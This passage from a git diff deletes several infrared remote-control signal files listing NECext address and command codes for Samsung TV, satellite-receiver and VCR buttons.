-type: parsed -protocol: NECext -address: 05 05 00 00 -command: 31 00 00 00 -# -name: CLK_COUNT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 33 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 35 00 00 00 -# -name: VPS -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 38 00 00 00 -# -name: SP_LP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3A 00 00 00 -# -name: Q_PRO -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3D 00 00 00 -# -name: SHUTTLE_LEFT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7D 00 00 00 -# -name: SHUTTLE_RIGHT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir deleted file mode 100644 index 08de75a01..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: PreCh -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: PorgB_PIP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: ProgC_Standby -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: ProgD_Apps -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: P.Mode -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 28 00 00 00 -# -name: S.Mode -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2B 00 00 00 -# -name: TTX/MIX -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: P.Size -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 -# -name: E-manual -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 45 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 46 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 47 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 48 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 49 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4A 00 00 00 -# -name: Tools -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: ChList -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 -# -name: SRS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6E 00 00 00 -# -name: Content -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 79 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 8B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir deleted file mode 100644 index d0bf51b2f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0B 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 19 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1C 00 00 00 -# -name: ALT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir deleted file mode 100644 index cbda5b5af..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: TV/Radio -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: NTSC/PAL -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0A 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0B 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0C 00 00 00 -# -name: Rescan -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 15 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 16 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 18 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 19 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: User1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 40 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 41 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 42 00 00 00 -# -name: User2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 43 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 44 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 45 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 46 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir deleted file mode 100644 index dba6167ff..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0C 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0E 00 00 00 -# -name: tv/stb -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 11 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 15 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 16 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 17 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 18 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 19 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1C 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 40 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 41 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 42 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 43 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 45 00 00 00 -# -name: a-z -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 46 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir deleted file mode 100644 index 1e915c1c9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 04 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 08 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: BTN_1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: BTN_2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: BTN_3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 12 00 00 00 -# -name: BTN_4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: BTN_5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 14 00 00 00 -# -name: BTN_6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: BTN_7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: BTN_8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: BTN_9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: BTN_0 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 19 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir deleted file mode 100644 index a315bd1ef..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tv-vcr -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 12 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 16 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: clr/rst -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 20 00 00 00 -# -name: a.trk -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 21 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 22 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 24 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2B 00 00 00 -# -name: fine+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: fine- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 -# -name: clk/count -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 33 00 00 00 -# -name: speed -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3A 00 00 00 -# -name: q.pro -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 50 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 52 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 5C 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 69 00 00 00 -# -name: soften -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 73 00 00 00 -# -name: aft -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 74 00 00 00 -# -name: picture -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 75 00 00 00 -# -name: sharpen -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 77 00 00 00 -# -name: shuffle- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7D 00 00 00 -# -name: shuffle+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir deleted file mode 100644 index be9bbda49..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: vcr_power -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 12 00 00 00 -# -name: slow+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 13 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: p/s -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 16 00 00 00 -# -name: slow- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 17 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: clr/rst -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 22 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 24 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2B 00 00 00 -# -name: fine+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: fine- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 -# -name: clk/count -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 33 00 00 00 -# -name: speed -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3A 00 00 00 -# -name: q-pro -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 50 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 52 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 5C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 73 00 00 00 -# -name: picture -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 75 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 77 00 00 00 -# -name: shuttle- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7D 00 00 00 -# -name: shuttle+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir deleted file mode 100644 index 7d9cf4899..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tv_vcr -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: 